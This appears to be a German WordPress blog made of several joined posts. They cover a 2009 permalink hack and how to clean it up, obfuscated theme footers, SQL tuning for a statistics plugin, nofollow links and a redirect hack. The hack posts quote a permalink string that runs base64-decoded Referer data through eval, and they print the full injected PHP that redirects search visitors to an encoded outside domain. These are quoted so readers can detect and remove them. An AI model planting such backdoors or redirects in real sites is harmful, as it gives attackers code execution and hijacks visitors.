%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

Kann man sich denken, dass das nicht gut ist.

Anstatt also Battlestar Galactica zu schauen durfte ich hier sauber machen.
Aber nach einem Blick ins wordpress Support Forum stellte ich fest, dass ich nicht der einzige war.

Im folgenden die Details.

Was macht der Hack?
Durch eine Sicherheitslücke werden die Permalinks von Wordpress verändert. Durch diesen zusätzlichen Code können die Postings nicht mehr regulär abegrufen werden. Allerdings kann schädlicher Code eingefügt werden. Kann nicht nur, sondern wird weil das ganze automatisch abläuft. Nach dem Angriff wird ein neuer Benutzer in der Wordpress Administrator Gruppe erstellt. Dieser ist im Dashboard unsichtbar.
So weit war es bei mir. Bei anderen wurden auch Dateien hochgeladen und Wordpress Dateien verändert.
Da es anschliessend einen Administrator Nutzer gibt kann der natüürlich alles machen.

Wie genau funktioniert’s`?
2 Bedingungen müssen erfüllt sein: Eine Wordpress Version kleiner als 2.8.4 (die aktuellste) und Usern muss erlaubt sein sich zu registrieren. Allerdings bin ich bei letzterem nicht ganz sicher. Gut möglich, dass man auch das umgehen kann.
Zunächst werden ein paar Benutzer registriert. Simple Spam Registrationen.
Durch eine sehr üble Wordpress Sicherheitslücke ist es dem registrierten User möglich die Permalinks zu ändern und den oben genannten Code anzuhängen. Ich habe es selbst ausprobiert; da war nicht viel zu nötig. Schlimmer noch: Durch diese Sicherheitslücke können auch andere Wordpress Seiten aufgerufen und manipuliert werden die eigentlich nur dem admin vorbehalten sind. (und ich werde an dieser Stelle nen Teufel tun und sagen wie die funktioniert)
Ziwschen registrierung und verändern des Permalinks können Tage vergehen. Nachdem die Permalinks geändert wurden wird einer dieser Links aufgerufen (bei mir lagen 4 Stunden dazwischen).
Dazu wird ein gefälschter Referer übergeben. Wenn man sich den Code oben ansieht stellt man fest, dass dort der Referer encodiert und OHNE WENN UND ABER AUSGFÜHRT WIRD!!!

Den genauen Code der dort übergeben wird behalte ich erst einmal für mich. Kann man sonst zu leicht gegen aktuell infizierte verwenden.

Es werden Userdaten übergeben und zusätzlich wird noch der Inhalt einer Datei von einem chinesichen Server nachgeladen.
In dieser Text Datei steht der Code mit dem der neue Superuser angelegt wird.

Dieser hat anstelle eines Namens ebenfallls Code. Dieser ist diesmal etwas HTML und Javascript. Javascript ist nicht ganz mein Ding. Ich glaube, dass durch diesen Code verhindert wird, dass man den neuen User im Dashboard sehen kann. Da der Name dort angezeigt wird wird eben dort der Code ausgeführt.

Zudem wird die registrierung weiterer User deaktiviert. Vermutlich dammit man sich nicht über den selben Weg die Kontrolle über den Blog zurückholen kann wenn er erst einmal vollständig übernommen wurde.

Nun haben wir einen User Namens OrvalGunning70 und der ist Blog Administrator.
You have been hacked.
Und das vollautomatisch.

Cross Site Scriping aus dem Lehrbuch.

Woran erkennne ich ob ich betroffen bin?
1. An euren Permalinks hängt nun so was:

%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

2. Ihr habt registrierte Nutzer Namens
Andrianq (e-mail vergessen zu notieren)
Miriam (obierebelominepyb@gmail.com)
MikeWink (bugbeemershonyhe@gmail.com )
OrvalGunning70 (keine e-mail) (nur in der Datenbank zu finden)

Einer dieser Nutzer reicht schon damit die Alarmsirenen angehen sollten.

Was kann ich tun wennn ich betroffen bin?
Da es noch keine 100%ige Information gibt was genau alles mit dem Superuser angestellt wird kann ich keine 100%ige Anleitung geben.

1. Schaut nach ob Wordpress Dateien (vor allem die index.php) kürzlich verändert wurden. Gängige FTP Programme wie z.B. Filezilla zeigen das Änderungsdatum an.
2. Schaut nach ob neue Dateien erstellt wurden. Vor allem im Order wp-content/uploads

Wie mit 1+2 genaue Verfahren werden muss kann ich noch nicht sagen. Bei mir trat das nicht auf.

3. Löscht den User OrvalGunning70

Da man OrvalGunning70 nicht im Dashboard sehen kann kann man dies entweder über die Datenbannk machen indem man in der tabelle wp_users schaut welche ID der Nutzer hat und folgendes ausführen (XXX durch die ID von OrvalGunning70 ersetzen):

delete from wp_users where ID=XXX;
delete from wp_usermeta where user_id=XXX;

oder aber über einen Umweg:
Da die Registrierung deaktiviert wird sollte OrvalGunning70 der letzte registrierte Benutzer sein.
Geht im Wordpress Dahsboard zur Benutzerübersicht und sucht den zuletzt registrierten Benutzer (was irgendjemand anders zu sein scheint).
Rechtsklickt auf den Link um den User zu löschen und kopiert den Link.
Fügt diesen Link nun in eure URL zeile im Browserr ein.
In der URL steht nun unter anderem so etwas:

action=delete&user=7

Die 7 (oder welche Zahl auch immer da steht) ist die benutzer ID. Diese muss um eines ehöht werden. In meinem Beispiel wäre das dann eine 8.
Anschliessend die URL aufrufen (also einfach Enter drücken)

4. Löscht folgende User, falls vorhanden:
Andrianq (e-mail vergessen zu notieren)
Miriam (obierebelominepyb@gmail.com)
MikeWink (bugbeemershonyhe@gmail.com )

Löscht am besten alle User die nicht echt zu sein scheinen.

5. Ändert eure Permalinks wieder auf was gescheites.
6. Deaktiviert die User registrierung wenn ihr sie nicht braucht. (falls ihr nicht wisst ob ihr sie braucht dann braucht ihr sie nicht)
7. Schleunigst auf Wordpress 2.8.4 updaten. Das ist die einzige Version die derzeit als sicher gilt.
8. Es ist nie verkehrt zur Sicherheit mal sämtliche Passwörter zu ändern.

Wie kann ich mich schützen?
1. Deaktiviere User registrierungen in deinem Blog.
2. Update auf Wordpress 2.8.4; jede Version darunter ist anfällig.

Ich war seit Freitag morgen nicht zuhause und das erste was ich heute lese ist, dass mein Blog down ist.

Speicherprobleme bei einem PHP Script… aber auch nach verdoppelung des Speichers ging nichts.

Irgendein Problem mit dem Cache. Das muss ich mir noch in Ruhe anschauen. Derzeit scheint es zu reichen die entsprechende Zeile in WP auszukommentieren.

Tja, ich Vollidiot hätte mal vorher etwas nachschauen sollen.

Der Error im Dashboard bei eingehenden Links ist noch zu verschmerzen.

Aber Shortcodes sind nun im Eimer. Das bedeutet, dass sämtliche (youtube) Videos hier vorerst nicht funktionieren.

Ich hoffe die geben Gas mit WP 2.8.1.
Immerhin… musste eh mal ein neues Plugin für Videos besorgen. Das alte wird nicht mehr gepflegt.

Dafür gibt’s jetzt nen Twitter Button. (der ist allerdings nicht in WP 2.8 enthalten*g*)

UPDATE: Neues Video Plugin installiert. Videos laufen nun wieder.

Worüber ich derzeit mal wieder kotzen könnte ist eine Unsitte bei Wordpress Themes: Die Footer kodierung!

Kaum ein neues Wordpress Theme kommt ohne diesen Mist daher. Egal ob profesionell gemacht oder diletantischer Müll.

Worum geht es hier eigentlich?
Nunja, ich habe in den letzten Wochen häufiger neue Wordpress Themes für verschiedene projekte herunter geladen.
Und bei sehr vielen ist inzwischen die Datei footer.php kodiert.
Anstelle von klarem HTML und PHP (bzw diesem grausigem Mischmasch den man bei Wordpress dauernd hat) findet man dort nur noch kryptische Zeichenfolgen und irgendwo mittendrinn die zwie PHP Befehle “eval” und “base64_decode”.

Für die nicht-Programmierer:
base64_decode ist das gegenstück zu einem Kodierungssverfahren Namens base64 mit dem Text unleserlich gemacht werden kann.
eval ist dazu da Code auszuführen. So kannn man Code z.B. in einer Variable speichern und diese dann an eval übergeben damit der Code ausgeführt werden kann. Da der Code bedingungslos ausgeführt wird, egal was drinn steht gilt: EVAL=EVIL!!!!!!!

Was soll das ganze nun?
Im einfachsten fall hat der Autor des Themes zusätzlich zu dem was vom Design her im Footer sein muss noch sein Copyright da drinn stehen oder einen Link zu seiner Homepage. Dammit das nicht Hinz und Kunz einfach rausnehmen oder sogar fälschen macht der schlaue Autor nun folgendes:
Er kodiert den gesamten Inhalt des footers mit base64. Inklusive seinem Text, den HTML Tags und eventuellem PHP Code.
Beispiel von Wikipedia:
Aus “Polyfon zwitschernd aßen Mäxchens Vögel Rüben, Joghurt und Quark” wird dann “UG9seWZvbiB6d2l0c2NoZXJuZCBhw59lbiBNw6R4Y2hlbnMgVsO2Z2VsIFLDvGJlbiwgSm9n
aHVydCB1bmQgUXVhcms=”.

Und das ganze wird von Wordpress eben erst wieder dekodiert und dann mit eval ausgeführt.

Was ist daran nun so schlimm?
Nun, das war der einfache Fall. Ich habe auch schon gesehen, dass im Footer zusätzliche Links untergebracht waren für die der Autor anscheinend bezahlt wurde. Der Footertext sieht dann singemäß so aus “Author: AUTORHOMEPAGE designed by AUTOZUBEHÖR, sponsored by GUMMMIBÄRCHEN, copyright by KREDIT-GÜNSTIG”

Sieht panne aus und wenn die Leute da nen Link von mir haben wollen sollen sie selbst fragen.

Es geht aber noch viel schlimmer. So habe ich schon den Fall erlebt, dass im kodierten Text ein Script aufgerufen wurde mit demm dynammisch von einer anderen Seite Links geladenn wurden.

Hat den Seitenaufbau auch nur um 5-10 Sekunden verlangsamt…

Und da kommen wir zu dem Problemen:
a) Das dekodieren kostet Performance
b) Da stehen eventuell Sachen im footer die ich da nicht haben will
c) Da werden Sachen ausgeführt von denen ich nichts weiss. Im schlimmsten Fall werden da Daten ausgespäht. Eval hat nirgendwo was zu suchen. Schon gar nicht wenn ich nicht weiss was da ausgeführt wird.

Was kann man tun?

Bei einfachen Themes: Seite normal aufrufen, Quelltext ansehen und den relevanten Teil herauskopieren und den Inhalt der footer.php damit ersetzen.

Wenn dort aber auch noch code ausgeführt werden muss kommt man um das händische dekoideren nicht herum. Das kann eine Sache von 2 Minuten sein oder auch von Stunden.

Im einfachsten fall kann man das “eval” durch “echo” ersetzen. Anstatt den Code auszuführen wird er nun einfach nur ausgegeben. Dann den Code kopieren und in die footer.php schreiben.

Ich hatte aber auch schon Fälle wo der dekodierte Text ebenfalls wieder kodiert war. Rekord war vor wenigen Wochen. Da wurde mit ein footer zum dekodieren geschickt. Das Drecksteil war ca. 50 mal mit base64 und rot13 kodiert.

Nach dem 10 mal. händischen dekodieren hab ich mir da lieber eine Funktion für geschaubt.*g*

Ein anders mal hatte ich eine maschinell erstellte Kodierung vor mir. Da waren dann die einzelnen Teile im Code selbst als Variablen verpackt und erneut einfach kodiert und wurden wieder neu zusammengesetzt. Das sah in etwa so aus:

$111=eval($11);

$11111=eval($1);

$1111=$111+$11111;

(while $1111){
eval($1111111)+$11111111;
}

…usw.

Ende vom ganzen Lied ist bei mir grundsätzlich folgendes: Ist der footer verschlüsselt fliegt der bei mir komplett raus. Mitsamt Autorlink und allem.
Ich sehe nicht ein mir irgendwelchen, eventuel sogar gefährlicchen Code, unterschieben zu lassen. Entweder man spielt mit offenen Karten oder lässt es sein. Ich sehe auch nicht ein hier als Werbeträger für andere Leute zu dienen(also andere als dem Autor).
Ein Verweis auf den Ersteller ist Ehrensache aber wenn man versucht die leute zu verarschen gibt’s gar nix. Wenn ich denn Footer ändern will dann tu ich das.
Wenn ihr nicht wollt, dass eure Themes editiert werden dannn veröffentlicht sie nicht.

Das ist (um wieder an das Tagesgeschen anzuknüpfen) wie mit der DNS Sperre: Wenn ich das umgehen will dannn tu ich das ganz einfach.

Da ich selbst ein Gewohnheitstier bin und nur ungern auf neue Systeme umsteige wenn sich die alten bewährt haben ist bei mir immer noch Semmelstatz im Einsatz um Blog Statistiken erfassen zu können. Den Aufzeichnungen von Semmelstazt verdankt ihr die Suchbegriffe des Monats.
Problem ist allerdings, dass die Anzeige der Statistiken im Admin bereich von Wordpress super langsam ist wen man erst einmal ein paar Einträge in der Datenbank hat. Da kann das schon mal 2 Minuten dauern. Viel zu lange!
Der Grund dafür sind sehr schlechte Datenbank Queries. Die Indizes werden z.B. nicht genutzt was bedeutet, dass MySQL jedes mal die gesammte Datenbank durchsuchen muss.

Durch ein paar Modifikationen der Abfragen lässt sich das ganze aber beschleunigen. Was vroher mehrere Minuten dauert geht dann in Sekunden.

Das ganze funktioniert bei Semmelstazt 3.1 und für 3.0.1, da sind die Namen der Aufrufe etwas anders. (statt $wbdb->XXX ist es $this->wpdb->xxx)
Sofern die Datenbankqueries bei äteren Semmelstazt Versionen die selben sind funtioniert es dort natürlich auch.

Die Änderungen werden in der Datei semmelstazt_func.php umgesetzt.

Die drei großen Flaschenhälse sind:

• Die Statistik Anzeige für heute
• Die Statistik Anzeige der letzten X Tage
• Die Top 10 Beiträge

Lösung:

Statistik Anzeige für heute
In der Semmelstatz Tabelle einen Index auf das Feld “time” setzen.

In der Funktion sem_showTodayStatz() die Query

SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)
AS referers, substring(time,1,10) AS date FROM ".$wpdb->statz." WHERE substring(time,1,10) = CURDATE() GROUP BY date

durch folgende Query ersetzen:

SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)
AS referers, substring(time,1,10) AS date FROM ".$wpdb->statz." WHERE time >= CURDATE() GROUP BY date


Erklärung: Da time das bedingungsfeld ist bracht es einen Index damit die Daten schneller berglichen werden können. Das umschreiben im Query entfern die Berechnung im Bedingungsteil (andernfalls nützt uns der Index nämlich nichts)

Statistik Anzeige der letzten x Tage
Benötigt ebenfalls einen Index auf time. den haben wir ja oben schon gesetzt. Bleibt die Optimierung des MySQL Queries in der Funktion sem_showDailyStatz()
Folgende Query ist gegeben:

SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)
AS referers, substring(time,1,10) AS date FROM ".$wpdb->statz." GROUP BY date ORDER BY time DESC LIMIT 0, ".$limit

Vor dem Query Aufruf muss noch folgende Zeile hinzugefügt werden:

$daylimit=$limit-1;

Und anschliessend ersetzen wir die Query durch diese, die 8-10 mal schneller ist.

SELECT COUNT(ip) AS hits, COUNT(DISTINCT ip) AS visitors, COUNT(DISTINCT referer)
AS referers, substring(time,1,10) AS date FROM ".$wpdb->statz." WHERE time>=CURDATE()-INTERVAL ".$daylimit." DAY GROUP BY date ORDER BY time DESC");


Erklärung: Die Original Query läd zuerst die Statsitiken aller Tage in der Tabelle und zeigt dann die ersten X davon an. Da uns die anderen gar nicht interessieren können wir der Datenbank die Mühe auch sparen und die zu verarbeitenden Zeilen auch gleich begrenzen und das tun wir mit der Ergänzung des heutigen Datums -des Limits.

Die Top 10 Beiträge
Index auf page in der Statz Tabelle setzen.

In der Funktion sem_showTopReads() die Query

SELECT post_title AS posttitle, post_name as postname, guid AS postid,
COUNT(".$wpdb->statz.".page) AS count FROM ".$wpdb->posts.", ".$wpdb->statz." WHERE
".$wpdb->statz.".page = ".$wpdb->posts.".ID GROUP BY postid ORDER BY count DESC LIMIT 10

durch diese ersetzen, die aus einer 70 Sekunden langen Abfrage eine 2 Sekunden Abfrage macht

SELECT STRAIGHT_JOIN post_title AS posttitle, post_name as postname, guid AS postid,
COUNT(".$wpdb->statz.".page) AS count FROM ".$wpdb->statz.", ".$wpdb->posts." WHERE
".$wpdb->statz.".page = ".$wpdb->posts.".ID GROUP BY page ORDER BY count DESC LIMIT 10");


Erklärung: Straight Join und die Reihenfolge der Tabellen in der Abfrage sind der Schlüsselpunkt. Zudem wird nun nach einem indexierten Feld gruppiert.

Vermutlich lassen sich die anderen Queries ebenfalls optimieren. Diese 3 waren aber die lahmsten. Die anderen nehme ich mir vieleicht auch mal vor wenn sich dadurch noch starke verbesserungen erzielen lassen.

Es gibt immer noch viel zu viele Blogs die grundsätzlich nur mit NoFollow verlinken. Egal ob es nun aus Unwissenheit passiert oder aus Ignoranz: Das ist Mist.
NoFollow ist ein praktisches Werkzeug um die Linkliebe (geiles Wort) besser zu steuern. Aber NoFollow grundsätzlich an alle externen Links zu heften ist einfach falsch.

Für die Unwissenden:
Ein NoFollow Link ist ein für Suchmaschinen entwerteter Link. Die Suchmaschine wird ihm zwar folgen aber es erfolgt keine Wertung. Wenn eine Suchmaschine einem Link folgt wird das normalerweise als Empfehlung gewertet und die verlinkte Seite wird entsprechend besser von der Suchmaschine bewertet.
Ist grundsätzlich ja auch richtig. Wenn ich etwas verlinke tue ich das normalerweise ja auch weil ich zeigen möchte “Hier, das ist gut, da solltet ihr mal weiter lesen”. Und als kleinen Bonus zu den Besuchern die über diesen Link kommen werte ich die verlinkte Seite auch gleichzeitig für die Suchmaschinen etwas auf. Warum auch nicht?

Nun ist es leider so, dass Wordpress (und das ist nun mal das System auf dem die meisten Blogs laufen) die externen Links in Kommentaren grundsätzlich auf NoFollow setzt.
Und genau das ist der völlig falsche weg wenn man einen Blog haben möchte der auch kommentiert wird.
Wenn jemand einen Kommentar schreibt und selbst eine Seite bzw einen Blog hat wird diese automatisch verlinkt. Wordpress setzt diesen Link nun auf NoFollow. Aus Angst davor, dass zu viele Spamlinks eine Wertung bekommen.
Ich finde aber, dass grundsätzlich jeder der einen halbwegs sinnvollen Kommentar schreibt es verdient hat, dass seine Seite ordentlich verlinkt wird.
Ein Blog der nicht kommentiert wird ist tot. Kommentatoren füllen den Blog mit Leben und machen ihn interessant. Es ist daher nur fair wenn ich den Leuten die meinen Blog bereichern wenigstens einen kleinen Link zurückgebe. Und zwar einen richtigen.

Viel schlimmer ist das NoFollow verlinken aber bei Trackbacks. Wenn jemand in seinem Blog über etwas schreibt und dabei einen Link auf einen anderen Blog setzt schickt er einen Trackback. Das heißt: Der Blog der den Link gesetzt hat schreibt quasi einen Kommentar im anderen Blog und setzt einen Link zu sich selbst. So sieht man, dass ein anderer Blog etwas zum Thema geschrieben hat.
Ist der verlinkte Blog nun ein NoFollow Blog ist der Link zum bezugnehmenden Beitrag ebenfalls NoFollow. Wie assig ist das bitte? Da schreibt jemand über etwas und gibt mich als Quelle an und gibt mir einen vollwertigen Link und ich habe nicht einmal den Anstand ihm einen vollwertigen Link zurückzugeben? Es entsteht mir kein Nachteil wenn ich ebenfalls einen wertigen Link zurückgebe. Ich kriege einen Link also gebe ich auch einen zurück. Ganz einfach.

Ich verlinke grundsätzlich keine Beiträge von NoFollow Blogs. Warum sollte ich etwas verlinken, dass mir ganz bewusst den vollwertigen Gegenlink verweigert? Sollte ich es doch tun, weil der Beitrag wirklich sehr gut ist, gibt es auch nur einen NoFollow Link. Ich sehe doch nicht ein einen Blog zusätzlich aufzuwerten wenn ich nichts zurückbekomme.

NoFollow in den Kommentaren soll Spammer bzw Spambots davon abhalten die Blogs vollzumüllen.

1. Das klappt eh nicht. Die Bots kommen trotzdem.
2. Man kann diese Spamkommentare immer noch löschen bzw nicht freigeben. Es dauert eine Weile bis ein Blog die Größe erreicht hat wo das händisch zu viel Aufwand ist.
3. Mit Aksimet gibt es ein Wordpress Plugin, dass Spam in Kommentaren automatisch erkennt. Das ist bei mir seit Monaten im Einsatz und hat seitdem alle Spamkommentare erfolgreich erkannt und erst einen einzigen Kommentar fasch als Spam eingestuft (lässt sich rückgängig machen). Man muss lediglich alle paar Tage schauen was denn so an Kommentaren abgefangen wurde.

Selbst solche Mamut Blogs wie Basic Thinking schaffen es ohne NoFollow. Und da dürfte die Anzahl der Spam versuche weitaus höher sein als bei den meisten anderen Blogs. Wenn Robert das bewältigen kann dann sollten das andere Blogger auch schaffen.

Über den Sinn und Unsinn von NoFollow wurde auch beim S-O-S SEO Blog geschrieben. Klar, wird ein SEO das NoFollow Atribut niemals toll finden aber gerade das Wikipedia Beispiel dort veranschaulicht gut wieso NoFollow scheisse ist.

Also, seid nicht länger egoistisch und entfernt den NoFollow Dreck aus euren Blogs.
Zum Beispiel mit dem Do Follow Plugin oder einem anderen. Da gibt es einige.

Ich werde demnächst auch das CommentLuv Plugin ausprobieren, mit dem nicht nur ein Link zu einem Blog gesetzt wird sondern auch versucht wird den letzten Blogeintrag zu verlinken. Ich finde das ist ne tolle Sache.

Nach derzeitigem Stand sind alle Wordpress Versionen betroffen, also auch Wordpress 2.5.1.

Derzeit gibt es nur temporäre Lösungen.

Ich hab es gerade beim auf dem Blog eines Freundes gesehen: Rufe ich dessen Blog aus IGoogle auf lande ich bei anyresults.net. Kurzes googeln zeigte mir, dass er nicht der einzige ist der betroffen ist.

Der Hack existiert seit etwa einer Woche.

Dabei wird die wp-blog-header.php geändert und folgender Code wird hinzugefügt:

<?php $seref=array(”google”,”msn”,”live”,”altavista”,”ask”,”yahoo”,
“aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref) if(strpos(strtolower(
$_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=”1″; break; }
if($ser==”1″ && sizeof($_COOKIE)==0){
header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”);
exit; }?>

Das leitet Besucher von Google, Yahoo und anderen Suchmaschienen auf anyresults.net um. Durch entfernen dieses Codes sollte das problem temporär behoben sein.

Vielen Dank an Christian, der die Lösung entdeckt hat.

Updates folgen sobald mehr bekannt ist.

Mit dem I3Theme dürfte ich nun aber das passende Theme für Wordpress gefunden haben. Natürlich hab ich das ganze noch etwas angepasst und modifiziert. Links aufgeteilt, bischen SEO zeugs, das Übliche halt.
Nein, das Grunddesign ist absolut original…weil mir genau das gefiel.

Ich hab die Optik im aktuellen Firefox, Opera, im IE7 und im IE6 getestet. Sollte alles funktionieren. Wer Fehler(insbesondere in anderen Browsern) findet darf sich gerne bei mir melden. Wie immer die an dieser Stelle die Admin Klausel: Das heisst nicht, dass ich auch darauf reagiere.

IE 5.5 Benutzer und Leute mit 800×600 Bildschirmauflösung sind leider raus. Kommt mal rüber in das 21. Jahrhundert…

Die Boxen in den Sidebars lassen sich übrigens individuell verschieben bzw ganz schliessen. (allerdings funktioniert das Verschieben nicht von einer Sidebar in die andere). Vorsicht: Kann , je nach Browser, zu Problemen führen.

In den nächsten Tagen werd ich sicherlich noch ein wenig weiter basteln. Also nicht wundern wenn es hier zwischenzeitlich mal etwas komisch aussieht.